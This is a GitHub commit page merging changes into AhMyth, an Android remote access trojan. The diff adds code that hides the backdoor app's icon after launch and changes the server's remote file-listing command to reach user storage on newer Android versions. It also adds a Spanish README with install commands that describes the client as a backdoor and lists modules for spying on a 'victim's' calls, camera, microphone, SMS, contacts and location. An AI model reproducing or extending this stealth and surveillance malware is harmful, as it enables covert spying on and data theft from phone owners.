Skip to content

Commit 4531602

Browse files
authored
Merge pull request AhMyth#178 from elcaza/master
Step-by-step installation in Spanish Hiding the app Solution to file listing on android 6+
2 parents fb384a7 + cb57b55 commit 4531602

File tree

6 files changed

+149
-11
lines changed

6 files changed

+149
-11
lines changed

AhMyth-Client/.project

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<projectDescription>
3+
<name>AhMyth-Client</name>
4+
<comment>Project AhMyth-Client created by Buildship.</comment>
5+
<projects>
6+
</projects>
7+
<buildSpec>
8+
<buildCommand>
9+
<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
10+
<arguments>
11+
</arguments>
12+
</buildCommand>
13+
</buildSpec>
14+
<natures>
15+
<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
16+
</natures>
17+
</projectDescription>
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
connection.project.dir=
2+
eclipse.preferences.version=1

AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,6 @@
1313

1414
public class MainActivity extends Activity {
1515

16-
17-
1816
@Override
1917
protected void onCreate(Bundle savedInstanceState) {
2018
super.onCreate(savedInstanceState);
@@ -23,15 +21,11 @@ protected void onCreate(Bundle savedInstanceState) {
2321
finish();
2422
fn_hideicon();
2523
}
24+
2625

27-
private void fn_hideicon() {
28-
26+
private void fn_hideicon() {
2927
getPackageManager().setComponentEnabledSetting(getComponentName(),
3028
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
3129
PackageManager.DONT_KILL_APP);
3230
}
33-
34-
35-
36-
3731
}

AhMyth-Server/app/app/assets/js/controllers/LabCtrl.js

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -201,7 +201,8 @@ app.controller("FmCtrl", function($scope, $rootScope) {
201201

202202
// send request to victim to bring files
203203
$rootScope.Log('Get files list');
204-
socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
204+
// socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/' });
205+
socket.emit(ORDER, { order: fileManager, extra: 'ls', path: '/storage/emulated/0/' });
205206

206207
socket.on(fileManager, (data) => {
207208
if (data.file == true) { // response with file's binary

AhMyth-Server/app/app/views/build.html

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
<td>
1212
<div class="ui labeled fluid input ">
1313
<div class="ui black label">
14-
Source IP
14+
Server IP
1515
</div>
1616
<input ng-model="srcIP" type="text" placeholder="188.132.xxx.xxx">
1717
</div>
@@ -20,7 +20,7 @@
2020
<td>
2121
<div class="ui labeled fluid input ">
2222
<div class="ui black label">
23-
Source Port
23+
Server Port
2424
</div>
2525
<input ng-model="srcPort" type="number" min="1025" max="65535" placeholder="default is 42474">
2626
</div>

README_ES.md

Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# AhMyth Android Rat
2+
###### Beta Version
3+
+ Repositorio original
4+
+ ```https://github.com/AhMyth/AhMyth-Android-RAT.git```
5+
+ El repositorio actual corrige problemas comunes para su instalación en debian 10, también recopila pull requests aún no aprobado e incorpora nuevas funcionalidades.
6+
+ ```https://github.com/elcaza/AhMyth-Android-RAT```
7+
8+
9+
Este proyecto consiste de dos partes
10+
* Servidor : Aplicación de escritorio basada en electron framework (control panel)
11+
* Cliente : Aplicación de android (backdoor)
12+
13+
14+
## Primeros pasos
15+
### Hay dos opciones para instalar la aplicación
16+
#### 1) Desde el código fuente
17+
###### Prerrequisitos :
18+
* Electron (to start the app)
19+
* Java 8 (to generate apk backdoor)
20+
* Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))
21+
1. ```git clone https://github.com/AhMyth/AhMyth-Android-RAT.git```
22+
2. ```cd AhMyth-Android-RAT/AhMyth-Server```
23+
3. ```npm start```
24+
25+
#### 2) Desde los binarios
26+
###### Prerequisite :
27+
* Descargar el binario desde https://github.com/AhMyth/AhMyth-Android-RAT/releases
28+
* Java (to generate apk backdoor)
29+
30+
## Instalación de dependencias y solución a errores comunes
31+
+ Esto fue probado en el siguiente ambiente
32+
+ Debian 10
33+
+ javac 8
34+
+ Node 10
35+
+ NPM
36+
37+
```
38+
# Instalando dependencias del proyecto
39+
sudo apt install -y nodejs npm git curl libgconf-2-4
40+
41+
# Instalando java 8
42+
sudo apt istall -y wget gnupg software-properties-common
43+
wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | sudo apt-key add -
44+
sudo add-apt-repository --yes https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/
45+
sudo apt update -y
46+
sudo apt install adoptopenjdk-8-hotspot -y
47+
48+
sudo update-alternatives --config java
49+
# Aquí selecciona la que tenga el "8"
50+
51+
git clone https://github.com/elcaza/AhMyth-Android-RAT
52+
cd AhMyth-Android-RAT/AhMyth-Server/
53+
npm install
54+
npm start
55+
```
56+
57+
## Estructura del proyecto
58+
Web Server
59+
+ app/
60+
+ app/
61+
+ assets
62+
+ css
63+
+ img
64+
+ js
65+
+ controllers
66+
+ AppCtrl.js **(App principal)**
67+
+ LabCtrl.js **(Ventana secundaria de la victicma)**
68+
+ AppCtrl.js **(Notificaciones emergentes)**
69+
+ lib **(Librerías)**
70+
+ model **(Clase victima)**
71+
+ Factory **(Archivos para la compilación)**
72+
+ views **(Vistas de cada sección del código)**
73+
+ files.html
74+
+ node_modules/
75+
+ main.js **(Archivo main que despliega todo el server)**
76+
+ package.json
77+
78+
Cliente
79+
+ main/
80+
+ java **(Toda la estructura de clases)**
81+
+ CallManager.java **(Llamadas)**
82+
+ CameraManager.java **(Cámara)**
83+
+ ConnectionManager.java **(Sockets)**
84+
+ ContactsManager.java **(Contactos)**
85+
+ FileManager.java **(Archivos)**
86+
+ IOSocket.java **(Sockets)**
87+
+ LocManager.java **(Localización)**
88+
+ MainActivity.java **(Main Activity)**
89+
+ MainService.java **(Main Service)**
90+
+ MicManager.java **(Micrófono)**
91+
+ MyReceiver.java **(Sockets)**
92+
+ SMSManager.java **(Mensajes)**
93+
+ res
94+
+ AndroidManifest.xml
95+
96+
97+
## Screenshots
98+
<p align="center">
99+
<img src="http://i.imgur.com/HM3uXL6.png" width="600"/>
100+
</p>
101+
102+
---------------------------------------------------------------
103+
104+
<p align="center">
105+
<img src="http://i.imgur.com/nHTGGHi.png" width="600"/>
106+
</p>
107+
108+
---------------------------------------------------------------
109+
110+
<p align="center">
111+
<img src="http://i.imgur.com/XVXCHV9.png" width="600"/>
112+
</p>
113+
114+
115+
## Video Tutorial
116+
<p align="center">
117+
<a href="https://www.youtube.com/watch?v=DDIZTABABzs">
118+
<img src="https://img.youtube.com/vi/DDIZTABABzs/0.jpg" width="600"/>
119+
</a></p>
120+
121+
---------------------------------------------------------------
122+
##### I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.
123+
###### Twitter : <a href="https://twitter.com/AhMythDev"> @AhMythDev </a>
124+
###### Bitcoin address for donations: : 1EVwLuwmbsEuej7qJnNquFeQJLsgd2b8Lq

0 commit comments

Comments
 (0)